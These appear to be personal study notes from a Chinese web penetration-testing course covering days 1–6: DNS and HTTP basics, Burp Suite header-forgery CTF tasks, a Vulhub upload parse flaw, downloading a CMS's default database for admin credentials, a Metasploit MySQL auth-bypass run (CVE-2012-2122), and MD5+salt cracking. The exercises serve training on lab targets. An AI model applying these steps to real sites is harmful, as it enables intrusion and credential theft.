小迪WEB

WEB-学习

  • 小迪安全(持续更新中)
    • 第01天:基础入门—概念名词
      • 域名
      • DNS
      • 脚本语言
      • 后门
      • WEB
      • WEB相关安全漏洞
      • 演示案例
    • 第02天:基础入门—数据包扩展
      • HTTP/S数据包
      • 关于HTTP和HTTPS
      • Request请求数据包数据格式
      • Response返回数据包格式
      • 演示案例
    • 第03天:基础入门—搭建安全扩展
      • 常见搭建平台脚本启用
      • 域名IP目录解析安全问题
      • 常见文件后缀解析对应安全
      • 常见安全测试中的安全防护
      • 演示案例
    • 第04天:基础入门—WEB源码扩展
      • 关于Web源码目录结构
      • 关于Web源码脚本类型
      • 关于Web源码应用分类
      • 关于Web源码其他说明
      • 演示案例
    • 第05天:基础入门—系统及数据库等
      • 操作系统层面
      • 数据库层面
      • 第三方层面
      • 补充
      • 演示案例
    • 第06天:基础入门—加密算法
      • 常见加解密编码等算法分析
      • 常见加密形式算法解析
      • 常见加密方式
      • 了解常规加密算法的特性
      • 演示案例
    • 第07天:信息收集—CDN绕过
      • 如何判断目标存在CDN服务
      • 目前常见的CDN绕过技术有哪些
      • 演示案例
    • 第08天:信息收集—架构、搭建、WAF等
      • 站点搭建分析
      • WAF防护分析
    • 第09天:信息收集—APP及其他资产等
      • APP提取一键反编译
      • APP抓数据包进行工具配合
      • 演示案例
    • 第10天:信息收集—资产监控扩展
      • Github监控
      • 各种子域名查询
      • DNS,备案,证书
      • 全球节点请求cdn
      • 演示案例
    • 第11天:WEB漏洞—必懂知识点
      • 应用场景
      • 简要说明以上漏洞危害情况
      • 简要说明以上漏洞等级划分
      • 简要说明以上漏洞重点内容
      • 简要说明以上漏洞形式问题
      • 案例演示
      • 文件读取漏洞—源码内容获取危害
      • 文件上传漏洞—WEB权限丢失危害
    • 第12天:WEB漏洞—SQL注入之简要SQL注入
      • SQL注入安全测试中危害
      • SQL注入产生原理详细分析
      • 搭建第一个SQL注入学习靶场环境
      • 学习第一个数据库MySQL简单注入
      • 案例演示
    • 第13天:WEB漏洞—SQL注入之MYSQL注入
      • 高权限注入及低权限注入
      • 文件读写操作
      • 相关防注入
      • 低版本注入配合读取或暴力
    • 第14天:WEB漏洞—SQL注入之类型及提交注入
      • 简要明确参数类型
      • 简要明确请求方法
      • 演示案例
    • 第15天:WEB漏洞—SQL注入之Oracle,MongoDB等注入
      • 简要学习各种数据库的注入特点
      • Sqlmap基本操作
    • 第16天:WEB漏洞—SQL注入之查询方式及报错盲注
      • 查询方式
      • SQL 注入报错盲注
      • 演示案例
    • 第17天:WEB漏洞—SQL注入之二次,加解密,DNS等注入
      • 加解密,二次,DNSlog 注入
      • 演示案例
    • 第18天:WEB漏洞—SQL注入之堆叠及WAF绕过注入
      • 堆叠查询注入
      • phpstudy+safedog 安装找不到服务解决
      • WAF及绕过思路
      • 演示案例
      • 涉及资源
    • 第19天:WEB漏洞—SQL注入之SQLMAP绕过WAF
      • 衔接18天课程
      • 演示案例
    • 第20天:WEB 漏洞-文件上传之基础及过滤方式
      • 什么是文件上传漏洞
      • 文件上传漏洞有哪些危害
      • 文件上传漏洞如何查找及判断
      • 文件上传漏洞有哪些需要注意的地方
      • 演示案例
    • 第21天:WEB 漏洞-文件上传之后端黑白名单绕过
      • 文件上传常见验证:
      • 演示案例
    • 第22天:WEB 漏洞-文件上传之内容逻辑数组绕过
      • 文件上传知识点
      • 演示案例
    • 第23天:WEB 漏洞-文件上传之解析漏洞编辑器安全
      • 知识点讲解
      • 几种中间件解析漏洞简要演示
      • 几种常见 WEB 编辑器简要演示
      • 几种常见 CMS 文件上传简要演示
      • 贴近实际应用下的以上知识点演示
    • 第25天:WEB 漏洞-XSS跨站之原理分类及攻击手法
      • XSS跨站漏洞产生原理,危害,特点
      • XSS跨站漏洞分类
      • 演示案例
    • 第26天:WEB 漏洞-XSS跨站之订单及shell箱子反杀记
      • XSS平台及工具使用
      • Webshell后门中的后门
      • 演示案例
    • 第29天:WEB 漏洞-CSRF及SSRF漏洞讲解
      • CSRF漏洞(跨站请求伪造漏洞)
      • SSRF 漏洞解释,原理等
      • 演示案例
    • 第30天:WEB 漏洞-RCE 代码及命令执行漏洞全解
      • RCE 漏洞-代码执行
      • RCE 漏洞-命令执行
      • RCE 漏洞产生相关性函数
      • 演示案例
    • 第31天:WEB 漏洞-文件操作之文件包含漏洞全解
      • 文件包含漏洞
      • 演示案例
    • 第32天:WEB 漏洞-文件操作之文件下载读取全解
      • 文件下载、读取
      • 演示案例
    • 第33天:WEB 漏洞-逻辑越权之水平垂直越权全解
      • 越权漏洞
      • 修复防御方案
      • 演示案例
    • 第34天:WEB 漏洞-逻辑越权之登陆脆弱及支付篡改
      • 登陆应用功能点安全问题
      • 数据篡改安全问题
      • 演示案例
    • 第35天:WEB 漏洞-逻辑越权之找回机制及接口安全
      • 找回重置机制
      • 接口调用乱用
      • 演示案例
    • 第36天:WEB 漏洞-逻辑越权之验证码与Token接口
      • 验证码安全
      • token安全
      • 案例演示
    • 第37天:反序列化之PHP&JAVA全解(上)
      • PHP 反序列化
      • 演示案例
    • 第39天:WEB 漏洞-XXE&XML 之利用检测绕过全解
      • 漏洞原理
      • XXE漏洞修复与防御方案
      • 案例演示
    • 第42天:漏洞发现-操作系统之漏洞探针类型利用修复
      • 相关名词解释
      • 演示案例
    • 第43天:漏洞发现-WEB应用之漏洞探针类型利用修复
      • 演示案例
    • 第44天:漏洞发现-APP应用之漏洞探针类型利用修复
      • 思路说明
      • 案例演示
    • 第45天:漏洞发现-API接口服务之漏洞探针类型利用修复
      • 演示案例
    • 第46天:WAF绕过-信息收集之反爬虫延迟代理池技术
      • 代理池技术
      • 演示案例
    • 第47天:WAF绕过-漏洞发现之代理池指纹被动探针
      • 漏洞发现触发 WAF 点-针对 xray,awvs 等
      • 案例演示
    • 第48天:WAF绕过-权限控制之代码混淆及行为造轮子
      • Safedog 代码层手写及脚本绕过
      • BT Aliyun 代码层手写及脚本绕过
      • 演示案例
    • 第49天:WAF绕过-漏洞利用之注入上传跨站等绕过
      • SQL 注入
      • 文件上传
      • XSS 跨站
      • 其他集合
    • 第50天:代码审计-PHP无框架项目SQL注入挖掘技巧
      • 代码审计教学计划
      • 代码审计教学内容
      • 代码审计必备知识点
      • 代码审计开始前准备
      • 代码审计挖掘漏洞根本
      • 演示案例
    • 第58天:权限提升-网站权限漏洞第三方获取
      • 具体有哪些权限需要我们知道和了解掌握的?
      • 演示案例
    • 第59天:权限提升-Win溢出漏洞及AT&SC&PS提权
      • 提权知识点必备
      • 演示案例
    • 第60天:权限提升-MY&MS&QRA等SQL数据库提权
      • 演示案例
    • 第61天:权限提升-Redis&Postgre&令牌窃取&进程注入
      • 演示案例
    • 第73天:应急响应-WEB分析php&javaweb&自动化工具
      • 应急响应
      • 必备知识
      • 收集工作
      • 常见分析方法
      • 演示案例
    • 第74天:应急响应-win&linux分析后门&勒索病毒&攻击
      • 操作系统(windows,linux)应急响应
      • 常见日志类别及存储
      • 补充资料
      • 病毒分析
      • 病毒查杀
      • 病毒动态
      • 在线病毒扫描网站
      • 演示案例

小迪安全(持续更新中)

第01天:基础入门—概念名词

域名

1)什么是域名?

域名,是由一串用点分割的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时计算机的电子方位;

例如:www.bilibili.com
在这里插入图片描述
2)域名在哪里注册?
在第三方平台上注册,国内的一些域名注册商,比如阿里云旗下的万网。

3)什么是二级域名多级域名?

二级域名:顶级域名之下的域名。
例如:
www.baidu.com为主域,则图中news.baidu.com为二级域名。
在这里插入图片描述
多级域名:概念等同于二级域名,类似于二级域名的延伸。
例如:
guoji.news.baidu.com

4)域名发现对于安全测试的意义
某个主域的二级域名或者多级域名,在防御措施严密情况下无法直接拿下主域,那么就可以采用迂回战术拿下子域名,然后无限靠近主域。

例如:
www.xxxxx.com主域不存在漏洞,并且防御措施严密。
而二级域名edu.xxxxx.com存在漏洞,并且防护措施松散。
小迪WEB_第1张图片
像这样一个主域,可能不存在漏洞,难以攻击,所以,我们可以尝试攻击它的二级域名。
小迪WEB_第2张图片
里面就可能存在漏洞,加以利用可以突破到主站的权限。
简单来说,多级域名收集的意义,就是一个网站找不到漏洞时,可以找跟它服务器相同的另一个多级域名上的漏洞,做旁路攻击。
这就是旁站入侵

DNS

1)什么是DNS?
域名系统(英文:Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。
主要用于域名与IP地址的相互转换。

2)本地HOSTS与DNS的关系
本地HOSTS重定向解析IP地址,如果网络在解析IP地址的时候,ping这个网站的时候,先到hosts文件去看看,有没有对域名对应的IP地址,没有的话再去DNS服务器上去解析。
如果去绑定IP地址,可以用这个方法,或者修改hosts文件,就能让对方指到此IP地址上去,类似于钓鱼攻击。
小迪WEB_第3张图片
打开了自己的hosts文件看了看,自己没有域名,也不好做实验。
hosts文件所在的位置:C:\Windows\System32\drivers\etc\hosts

3)CDN是什么?与DNS的关系?
CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。
就是缓存节点技术
小迪WEB_第4张图片
CDN作用: 访问的时候找一个网络最好,通讯最快的节点,访问网络时是访问一个节点,用来解决访问速度。

CDN缺点: 由于有节点,访问网络时,请求的是一个节点,真实数据和网络相关核心不在节点上,节点相当于缓存。

两者之间关系: 更改DNS服务器,就相当于有可能访问到另一个节点。

3)常见的DNS攻击有哪些?

  • 域名劫持
    通过采用黑客手段控制了域名管理密码和域名管理邮箱,然后将该域名的NS纪录指向到黑客可以控制的DNS服务器,然后通过在该DNS服务器上添加相应域名纪录,从而使网民访问该域名时,进入了黑客所指向的内容。

  • 缓存投毒
    利用控制DNS缓存服务器,把原本准备访问某网站的用户在不知不觉中带到黑客指向的其他网站上。

  • DDOS攻击
    一种攻击针对DNS服务器软件本身,通常利用BIND软件程序中的漏洞,导致DNS服务器崩溃或拒绝服务;另一种攻击的目标不是DNS服务器,而是利用DNS服务器作为中间的“攻击放大器”,去攻击其它互联网上的主机,导致被攻击主机拒绝服务。

  • DNS欺骗
    DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。

脚本语言

1)常见的脚本有哪些?
这里的脚本语言是Web应用程序的脚本。
例如:PHP、JavaScript、Python、ASP、ASPX、Javaweb等。

python的脚本框架。
小迪WEB_第5张图片

2)不同脚本类型与安全漏洞的关系
不同脚本类型,对程序源码安全性有很大关系,语言严谨,注重比较多,这个代码写出来的程序,安全漏洞比较少,程序源码的选用、写法,用哪个语言去写,将决定这套程序源码漏洞产生的概率。用安全语言去写,相对来说,产生漏洞的机率比较低。

3)漏洞挖掘代码审计与脚本类型的关系。
为了挖掘漏洞和代码审计,需要去了解脚本语言的开发的知识点,起码要能看懂代码。越往后,难度会越来越大。

后门

1)什么是后门?有哪些后门?
后门:可以理解为攻击者,在得到相关的非法入侵后,留下后门文件,便于下次进行操作,拿到权限。
后门文件:网站后门(webshell),服务器后门等其他类型的后门。

2)后门在安全测试中的实际意义?

  • 方便攻击者下一次进入。
  • 获取到相关权限后,后门类似于管道,为我们提供通道,去操作服务器或网站。

3)关于后门需要了解哪些?(玩法,免杀)
玩法(要能够隐藏自己),免杀(网站有杀毒软件,大部分有杀后门功能,会检测并删除,免杀就是不被检测到)

WEB

1)web的组成架构模型?

  • 网站源码:分脚本类型、分应用方向
  • 操作系统:windows、linux
  • 中间件(搭建平台):apache、iis、tomcat、nginx等
  • 数据库:access、mysql、mssql、oracle、sybase、db2、postsql等

2)架构漏洞安全测试简要介绍?
今后的漏洞攻击和方法全部体现在这4个方面。

3)为什么要从web层面为主为首?
WEB使用面广,很多地方都有网站服务,源码漏洞较多。
比起其他方面,方便利用。

WEB相关安全漏洞

1)WEB源码类对应漏洞?
SQL注入、上传、xss、代码执行、变量覆盖、逻辑漏洞、反序列化等。

2)WEB中间件对应漏洞:

  • PUT漏洞
  • 短文件名猜解
  • 远程代码执行
  • 解析漏洞
  • 未授权访问

3)WEB数据库对应漏洞:

  • 内核漏洞

4)WEB系统层对应漏洞:

  • 提权漏洞
  • 安全代码执行

5)其他第三方对应漏洞

  • 电脑安装的第三方软件

6)APP或PC应用结合类:

  • 移动端
  • PC端
  • 网页端

演示案例

多级域名的枚举查找(原理、方式)

我用的子域名查询-站长工具
查找到了一些域名。
我以优酷为例子:
在这里插入图片描述
然后查找到了一些多级域名
在这里插入图片描述

第02天:基础入门—数据包扩展

HTTP/S数据包

小迪WEB_第6张图片
图片里面英文字母的含义:

#Request 请求数据包
#Response 返回数据包

如果中间出现一个代理,则如下图:
小迪WEB_第7张图片

#Request 请求数据包
#Proxy 代理服务器
#Response 返回数据包

关于HTTP和HTTPS

1) HTTP和HTTPS的区别
小迪WEB_第8张图片

  • HTTP 明文传输,数据都是未加密的,数据传输过程是加密的,安全性较好。
  • HTTP 页面响应速度比 HTTPS 快。
  • http 和 https 使用的是完全不同的连接方式,用的端口也不一样。
  • 使用 HTTPS 协议需要到 CA申请证书。

HTTPS的通信过程如下图:
小迪WEB_第9张图片

HTTP的通信过程如下:
建立链接 —> 发送请求数据包 —> 返回响应数据包 —> 关闭连接

  1. 浏览器建立与web服务器之间的连接。
  2. 浏览器将请求数据打包(生成请求数据包)并发送到web服务器。
  3. web服务器将处理结果打包(生成响应数据包)并发送给浏览器。
  4. web服务器关闭连接

Request请求数据包数据格式

1)请求行:请求类型/请求资源路径、协议的版本和类型
请求行由三个标记组成:请求方法、请求URL和HTTP版本,它们用空格分隔。
例如: GET /index.html HTTP/1.1
HTTP 规划定义了8种可能的请求方法:

GET:检索URL中标识资源的一个简单请求
HEAD:与GET方法相同,服务器只返回状态行和头标,并不返回请求文档
POST:服务器接收被写入客户端输出流中数据的请求
PUT:服务器保存请求数据作为指定URL新内容的请求
DELETE:服务器删除URL中命令的资源的请求
OPTIONS:关于服务器支持的请求方法信息的请求
TRACE:web服务器反馈HTTP请求和其头标的请求
CONNECT:已文档化,但当前未实现的一个方法,预留做隧道处理

2)请求头:由关键字/值对组成,每行一对,关键字和值用冒号分享

HOST:主机或域名地址
Accept:指浏览器或其他客户可以接受的MIME文件格式,servlet可以根据它判断并返回适当的文件格式
User-Agent:是客户浏览器名称
Host:对应网址URL中的web名称和端口号
Accept-Language:指出浏览器可以接受的语言种类,如en或者en-us,指英语
connection:用来告诉服务器是否可以维持固定的HTTP连接、http是无连接的,HTTP/1.1使用Keep-Alive为默认值,这样当浏览器需要多个文件时(比如一个HTML文件和相关的图形文件),不需要每次都建立连接
Cookie:浏览器用这个属性向服务器发送Cookie。Cookie是在浏览器中寄存的小型数据体,他可以记载服务器相关的用户信息,也可以用来实现会话功能
Referer:表明产生请求的网页URL,这个属性可以用来跟踪web请求是从什么网站来的。如比从网页/icconcept/index.jsp中点击一个链接到网页/icwork/search,再向服务器发送的GET/icwork/search中的请求中,Referer是http://hostname:8080/icconcept/index.jsp
Content-Type :用来表明request的内容类型,可以用HttpServeletRequest的getContentType()方法取得。
Accept-Charset:指出浏览器可以接受的字符编码
Accept-Encoding:指出浏览器可以接受的编码方式。编码方式不同于文件格式,它是为了压缩文件传递速度。浏览器在接收到web响应之后再解码,然后再检查文件格式

3)空行:请求头与请求体之间用一个空行隔开

最后一个请求头标之后是空行,发送回车符和退行,通知服务器以下不再有头标。

4)请求数据

使用POST传送,最常使用的是Content-Type和Content-Length头标

5)Request请求数据包
我观看小迪视频的时候截图的一个request,类似于下图。
在这里插入图片描述

Response返回数据包格式

1)Response返回数据包数据格式
一个响应由四个部分组成:状态行、响应头标、空行、响应数据;

2)状态行:协议版本,数字形式的状态代码和状态描述,各元素之间用空格进行分割
HTTP响应码

  • 1XX:信息,请求收到,继续处理
  • 2XX:成功,行为被成功的接收、理解和采纳
  • 3XX:重定向,为了完成请求,必须进一步执行的动作
  • 4XX:客户端错误
  • 5XX:服务器错误
  • 200:存在文件
  • 403:存在文件夹
  • 3XX:均可能存在
  • 404:不存在文件及文件夹
  • 500:均可能存在

看一下我电脑上b站小迪课程的响应码。
小迪WEB_第10张图片

3)响应头标:包含服务器类型、日期、长度、内容类型等
像请求头标一样,它们指出服务器的功能,标识出响应数据的细节。

4)空行:响应头与响应体之间用空行隔开
最后一个响应头标之后是一个空行,发送回车符和退行,表面服务器以下不再有头标。

5)响应数据:浏览器会将实体内容中的数据取出来,生成相应的页面
HTML文档和图像等,也就是HTML本身。

演示案例

1.Burpsuite抓包修改测试

先配置了一下我火狐的代理。
小迪WEB_第11张图片
然后刷新一下小迪渗透吧的页面,成功抓包。
小迪WEB_第12张图片
修改了域名,小迪老师输的是zzz,为了证明自己做的,我输入的是www
在这里插入图片描述

然后抓包,和小迪老师做的一模一样。
图中出现了www
小迪WEB_第13张图片

提交数据包后

小迪WEB_第14张图片
访问的是404。
修改成功!!!

2.敏感文件扫描工具简要实现

用御剑扫了扫B站,扫描网站目录。
小迪WEB_第15张图片

3.第三方检测修改实现XSS攻击

用站长之家查看了一下自己的IP/域名。
小迪WEB_第16张图片
抓了这个网站的数据包。
小迪WEB_第17张图片
修改客户浏览器名称,然后可以看到:
小迪WEB_第18张图片
得出结论:数据包是我们和网站打交道的东西,通过修改达到伪造。

4.CTF或实际应用中部分考题解析(mozhe)

  • 题目一:来源页伪造

打开靶场后:
小迪WEB_第19张图片
先抓个包看看
小迪WEB_第20张图片
重点就是Referer,修改网页,改成google.com
然后得到Key
在这里插入图片描述
解题成功。

  • 题目二:浏览器信息伪造

打开靶场后:
小迪WEB_第21张图片
问题的关键就在于iPhone手机和2G网络下。

抓包看一下
小迪WEB_第22张图片

根据题目提示
在这里插入图片描述
修改数据包的客户浏览器名称(用以下数据)
在这里插入图片描述
最后成功得到KEY
在这里插入图片描述
解题成功。

  • 题目三:HTTP动作练习

打开题目看一下
小迪WEB_第23张图片
抓包看一下

小迪WEB_第24张图片
发现这个数据包有点长,再看一下题目的解题思路。
在这里插入图片描述

将GET修改成POST,并将content放到最后,并且空出一行。
我在这里用的hackbar,一样的POST
小迪WEB_第25张图片
得到KEY
在这里插入图片描述
解题成功!

  • 题目四:投票系统程序设计缺陷分析

打开题目看一下
小迪WEB_第26张图片
抓包,然后增加X-Forwarded-For
小迪WEB_第27张图片

发送到intruder,设置变量小迪WEB_第28张图片
设置数值
小迪WEB_第29张图片
然后就可以开始攻击了
小迪WEB_第30张图片

最后得到KEY
小迪WEB_第31张图片
解题成功!

第03天:基础入门—搭建安全扩展

常见搭建平台脚本启用

ASP,PHP,ASPX,JSP,PY,JAVAWEB等环境

域名IP目录解析安全问题

IP地址可以访问发现更多内容,而域名访问只能发现一个文件夹下的所有文件。IP地址访问可以发现程序源码备份文件和敏感信息。访问网站的时候,可以访问域名,也可以访问IP地址。访问域名一般会指向某个目录,而访问IP地址一般会指向根目录;

常见文件后缀解析对应安全

指定后缀名对应某个文件,访问网站出现遇到不能解析的文件就是中间件可能默认或者添加某些设置导致解析时出现问题。

小迪WEB_第32张图片

常见安全测试中的安全防护

学校内网和企业内外会出现。会限制外部人员访问内部的网站,限制IP地址,规范访问者的权限。
身份验证和访问控制,基于用户的限制。
小迪WEB_第33张图片
授权访问—只允许指定IP地址访问,拒绝访问—拒绝指定IP地址访问;
小迪WEB_第34张图片

演示案例

1.基于中间件的简要识别

按一下F12,抓取数据包的返回结果,查询搭建平台信息。
小迪WEB_第35张图片

2.基于中间件的安全漏洞

Web中间件常见漏洞

3.基于中间件的靶场使用

首先,自己下载了虚拟机,安装好了Vulhub环境;

启动靶场环境;
小迪WEB_第36张图片
小迪WEB_第37张图片
然后根据官网指示打开网站
在这里插入图片描述
新建一个txt文件,里面输入php
小迪WEB_第38张图片
改成jpg图片,并且上传;
在这里插入图片描述
在网址后面输入/uploadfiles/x.php.jpg,得到如下显示
小迪WEB_第39张图片
靶场的测试到此结束;

第04天:基础入门—WEB源码扩展

前言:Web源码在安全测试中是非常重要的信息来源,可以用来代码审计漏洞也可以用来做信息突破口,其中Web源码有很多技术需要简明分析。比如:获取某ASP源码后可以采用默认数据库下载为突破,获取某其他脚本源码漏洞可以进行代码审计挖掘或分析其业务逻辑等,总之源码的获取将为后期的安全测试提供了更多的思路。
小迪WEB_第40张图片

关于Web源码目录结构

数据库配置文件、后台目录、模板目录、数据库目录等

自己下载了一份源码,用来观察。
小迪WEB_第41张图片

  • index.asp 根据文件后缀名判断
  • admin 网站后台路径
  • data 数据相关的目录
  • install 安装相关的目录(我下载的源码中没有install这个目录)
  • member 会员相关的目录(我下载的源码中没有member这个目录)
  • template 模板目录(和网站的架构有关)
  • include 数据库配置文件可能在里面

我在我下载的这个源码中并没有找到数据库配置文件,不过听了讲课,数据库配置文件,网站和数据库的通讯信息,连接账号密码,可以去连接对方数据库,从数据库去得到这个网站的源码里面涉及到的管理员的账号密码。

关于Web源码脚本类型

ASP,PHP,ASPX,JSP,JAVAWEB等脚本类型源码安全问题。

可以看WEB安全学习笔记里面的语言与框架模块来学习。
小迪WEB_第42张图片

关于Web源码应用分类

之前图片里面的分类:

  • 门户:综合类漏洞
  • 电商:业务逻辑突出
  • 论坛:xss逻辑突出
  • 博客:漏洞较少
  • 第三方:据功能决定

社交,论坛,门户,第三方,博客等不同的代码机制对应漏洞。
开源,未开源问题,框架非框架问题,关于CMS识别问题及后续等。
拿到对方的源码或者判断这个网站的应用类型之后应该侧重在哪些漏洞上做文章。

关于Web源码其他说明

如果对方网站采用的是框架开发的话那么你面对的就是寻找框架的漏洞,如果是非框架的话寻找的漏洞针对的是代码写出来的漏洞
CMS识别:判定一个网站是用什么程序搭建的
开源:去网上找寻漏洞文章。内部:常规的渗透测试,用扫描工具去判断。
关于源码的获取途径:搜索,闲鱼淘宝,第三方源码站,各种行业对应。

CMS识别工具
(1)在线工具:在线指纹识别,云悉指纹
小迪WEB_第43张图片

(2)本地工具 whatweb
御剑web指纹识别程序 百度网盘
大禹CMS识别程序

演示案例

1)ASP、PHP等源码下安全测试

1.平台识别—某CMS无漏洞—默认数据库
2.平台识别—某CMS有漏洞—漏洞利用

打开靶场,打开asp注入(靶场是别人分享的)
小迪WEB_第44张图片
点开搬家公司ASP注入
小迪WEB_第45张图片
随便打开一个任意界面,看到页面后缀为asp,根据页面后缀判断。

翻到网站底部,发现了XYCMS
小迪WEB_第46张图片
去网上搜索XYCMS源码,自己下载一份
小迪WEB_第47张图片
打开文件夹,找到xydata(关键数据库路径文件),找到asp特有文件xycms.mdb
小迪WEB_第48张图片
mdb文件就是数据库的备份文件
在这里插入图片描述
该文件里面存有管理员的账号密码(我自己没有下载出来打开mdb的文件,借用一下别人的)
小迪WEB_第49张图片
密码MD5解密就是admin
访问到后台
小迪WEB_第50张图片
然后输入用户名和密码,登陆成功。
小迪WEB_第51张图片

第05天:基础入门—系统及数据库等

前言:除去搭建平台中间件,网站源码外,容易受到攻击的还有操作系统,数据库,第三方软件平台等,其中此类攻击也能直接影响到Web或服务器的安全,导致网站或服务器权限的获取。
小迪WEB_第52张图片

操作系统层面

1. 识别系统常见方法

因为Windows系统下网站对大小写不区分,所有可以由此来区分系统
小迪WEB_第53张图片
小迪WEB_第54张图片上边的网址其实就是目录,windows系统不区分大小写的,所以把原有目录改大小写不受影响。

而linux是严格区分大小写的,把人家目录改成大写人家系统以为是另一个文件找不到当然报错了。
小迪WEB_第55张图片
改成大写后,就打不开了,这个网站对应的操作系统就是Linux系统。
小迪WEB_第56张图片
也可以通过TTL值来判断操作系统,但是有的时候判断不准确。
小迪WEB_第57张图片
还可以用nmap去判断操作系统。

2. 简要两种区别和识别意义
网站路径不同,磁盘储存不一样,大小写区别,文件在不同的操作系统的适用性,并且操作系统不兼容。
知道了是哪种操作系统,往那种操作系统方向去发展,寻找漏洞。

3. 操作系统层面漏洞类型对应意义
漏洞类型有很多,漏洞类型的不同,再利用漏洞的时候需要的条件也会不同。

4. 简要操作系统层面漏洞影响范围
要去能获取权限,或者对操作系统能有一些干扰,使其崩溃。

数据库层面

1.识别数据库类型常见方法

数据库分类:

  • 小型数据库:Access
  • 中型数据库:MySQL
  • 大型数据库:Oracle、SQL Server

通过网站查询常见的数据库,脚本连接数据库:

  • ASP+Access,sql server
  • PHP+Mysql
  • ASPX+Mssql
  • Jsp+Mssql,oracle
  • Python+Mongodb
    (Access、sql server不支持Linux)

常见数据库默认端口
小迪WEB_第58张图片
filtered表示过滤,下图为端口扫描
在这里插入图片描述
2.数据库类型区别及识别意义
数据库的不同,结构也会不同,每个数据库的安全机制、写法机制,功能都会不一样,产生的漏洞也会不一样。
不同数据库的攻击方法都会有不一样。

3.数据库常见漏洞类型及攻击
弱口令:通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。

4.简述数据库层面漏洞影响范围
通过数据库漏洞,获取权限,对数据库进行一些修改,甚至可以获得网站的权限,对网站进行进行一系列的操作。

第三方层面

1.如何判断有哪些第三方平台和软件
常见的第三方有Jboss,PHPmyadmin,vsftpd,teamview等。
大部分是通过端口扫描或者对网站路径进行扫描。

2.简要为什么要识别第三方平台或软件
我们可以对第三方平台或者软件进行识别,来寻找漏洞。

补充

除去常规WEB安全及APP安全测试外,类似服务器单一或复杂的其他服务(邮件、游戏、负载均衡等)也可以作为安全测试目标,此类目标测试原则只是少了WEB应用或其他安全问题。所以明确安全测试思路是很重要的!

演示案例

1.某数据库弱口令及漏洞演示

Mysql 身份认证绕过漏洞(CVE-2012-2122)

先开始环境的搭建
小迪WEB_第59张图片
使用kali的nmap扫描试验机
小迪WEB_第60张图片
使用kali自带的msfconsole模块进行攻击
命令:msfconsole
小迪WEB_第61张图片
接着搜扫漏洞
命令: search mysql
小迪WEB_第62张图片
利用模块然后查看设置选项
利用命令:use auxiliary/scanner/mysql/mysql_authbypass_hashdump
查看选项命令:show options
小迪WEB_第63张图片
设置目标地址
命令:set rhost 192.168.74.141
设置线程为100
命令:set threads 100
运行
命令:exploit
小迪WEB_第64张图片
攻击成功,就是效果不是很直接。

第06天:基础入门—加密算法

前言:在渗透测试中,常见的密码等敏感信息会采用加密处理,其中作为安全测试人员必须要了解常见的加密方式,才能为后续的安全测试做好准备。
自己写可以下载工具使用,我下载了小迪老师推荐的工具;小迪WEB_第65张图片

常见加解密编码等算法分析

  • 1.MD5
    一般是由数字0~9,字母A ~ Z随机分配,16位和32位;
    小迪WEB_第66张图片
    基本上在安全测试中,很多网站的管理员、用户密码都会采用MD5加密;
    MD5不可逆,不能逆向破解解密,不能从密文得到明文;

网上有一个网站可以解密MD5:CMD5
小迪WEB_第67张图片
CMD5采取枚举的方法,像字典,照着密文找明文,MD5碰撞;

  • 2.SHA
    由数字0~9,字母A ~ Z随机分配,有SHA1、SHA256、SHA384、SHA512,长度都是固定的;
    小迪WEB_第68张图片
  • 3.ASCII、进制
    碰上的机会不大,都是很基础的东西,也使我自己在学习的初期就已经了解过的知识;

十六进制文本
小迪WEB_第69张图片

  • 4.时间戳

网站、服务器或脚本语言经常使用的东西,计算机时间与我们看时间不同;
是一份能够表示一份数据在一个特定时间点已经存在的完整的可验证的数据。

类似于这样:
小迪WEB_第70张图片
有些计算机必须传送时间戳才能知道是时间,经常会在数据库中,会有所记录;
时间戳在线网站链接:时间戳

  • 5.URL

url编码解码,又叫百分号编码,是统一资源定位 (URL)编码方式。. URL地址(常说网址)规定了常用地数字,字母可以直接使用,另外一批作为特殊用户字符也可以直接用(/,:@等),剩下的其它所有字符必须通过%xx编码处理。.

在下面的网站中写上空格和1=1,得到如下反馈;
小迪WEB_第71张图片
由于空格是特殊符号,所以需要进行转义,如果把数字1转义,会实行两次转义,浏览器会自动识别;
但是浏览器只会解密一次,做关键词绕过的时候需要去解密;

  • 6.BASE64
    区分英文大小写,长度随着明文的长度增加而增加,在字符串后面经常会出现等于号 “ = ”;
    小迪WEB_第72张图片
    对译码,参数和代码会进行一些编码;

  • 7.unescape

和URL编码有一些类似,也有%,是% + 4位数字;
在这里插入图片描述

  • 8.AES

AES比其他加密方式要更高级,会涉及到其他一些东西,加密的时候会涉及到密码、偏移量、填充和数据块等方面,一起来加密;相当于加了一些干扰进去。

在线网址链接:AES
小迪WEB_第73张图片
可以从中间和结尾加密,加密强度更强,解密难度也更大,输出也进行了编码;
用base64解码出来是乱码,有很大可能是AES加密。
必须有密码和偏移量,否则不可能解密。
有时候会出现 “ / ”;

  • 9.DES

密文里面会出现 “ + ” ,与base64比较相似;
小迪WEB_第74张图片

常见加密形式算法解析

直接加密,带salt,带密码,带偏移,带位数,带模式,带干扰,自定义组合等;

常见加密方式

枚举,自定义逆向算法,可逆向;

了解常规加密算法的特性

长度位数,字符规律,代码分析,搜索获取等;

演示案例

1.某CTF比赛题目解析

题目在原来的网址上已经找不到了,我自己在其他页面也没有找到,这里实在不好去复现了,就把人家的截个屏放在这里了;

  • 脚本自定义算法组合逆向;
    小迪WEB_第75张图片

2.某CMS密码加密解密

  • MD5+salt
  • 部分CMS密码加密形式-wp、dz等;

小迪WEB_第76张图片

用单纯的MD5无法解开的;
小迪WEB_第77张图片

需要用MD5 + salt才能解开;

使用md5(md5( p a s s ) pass) pass)salt)可以解密成功!!!
小迪WEB_第78张图片

3.某URL加密地址的漏洞测试

AES+Base64+自定义
观察参数值加密字符串,下载源代码分析,函数定义AES加密,设计模式CBC,128位,加密密码,偏移量,两次base64减去常规一次,填充模式(_mozhe)小迪WEB_第79张图片
用WebPathBrute扫一扫
小迪WEB_第80张图片
扫到地址,直接打开;
在这里插入图片描述
找到php代码
小迪WEB_第81张图片
上面给我们提供了加密模式、数据块、密码和偏移量,而且还写出来两次base64加密;

进行第一次base64解密
小迪WEB_第82张图片
